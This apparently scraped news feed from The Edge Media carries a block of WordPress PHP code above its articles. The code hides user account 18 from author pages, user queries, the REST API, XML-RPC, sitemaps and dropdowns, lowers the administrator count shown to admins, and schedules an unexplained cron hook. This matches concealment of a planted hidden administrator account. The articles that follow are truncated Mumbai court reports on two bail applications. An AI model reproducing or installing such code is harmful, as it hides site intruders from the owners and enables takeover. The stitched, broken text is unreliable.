add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Guest Professor Seeks Anticipatory Bail After Alleged Misconduct With Students at Mumbai College appeared first on The Edge Media.
]]>During the hearing on Thursday, the police objected to his request before the sessions court, stressing that the offence involved serious misconduct against women. The investigating team also cautioned that the accused and the complainants belong to different communities, raising concerns that the matter could potentially trigger communal tension.
The court is expected to announce its decision on the pre-arrest bail application on December 19.
According to the FIR lodged at Azad Maidan police station, the professor had been invited as a guest lecturer for the college’s annual function on November 24. He allegedly behaved inappropriately with nine female student volunteers by touching them without consent.
Investigators added that the professor also acted improperly with a retired female faculty member and took selfies with some students without obtaining permission.
Following a formal complaint by the college principal, police filed a case under relevant provisions of the Bharatiya Nyaya Sanhita, including sections dealing with assault or use of criminal force with the intent to outrage the modesty of a woman.
The post Guest Professor Seeks Anticipatory Bail After Alleged Misconduct With Students at Mumbai College appeared first on The Edge Media.
]]>The post Mumbai sessions court rejects anticipatory bail application of Gehana Vasisth appeared first on The Edge Media.
]]>Vasisth was arrested along with three producers for allegedly making pornographic films which were purportedly released on a mobile phone application allegedly developed by businessman Raj Kundra. Kundra was arrested on July 19.
In the second FIR, a woman complainant has claimed that she was initially signed to do “bold scenes” in films but later forced by the accused to do “nude and semi-nude scenes”. The complainant has said the accused allegedly threatened that she will destroy her career if she did not do that.
Vasisth told the court, through her counsel, that she was arrested in a similar case and her laptop and phone have been seized by the crime branch.
Her lawyer added that her police custody was not required as she had been arrested in a similar case.
Police opposed it saying that she had “a prime role” in making the films as she was the director and threatened the complainant.
The post Mumbai sessions court rejects anticipatory bail application of Gehana Vasisth appeared first on The Edge Media.
]]>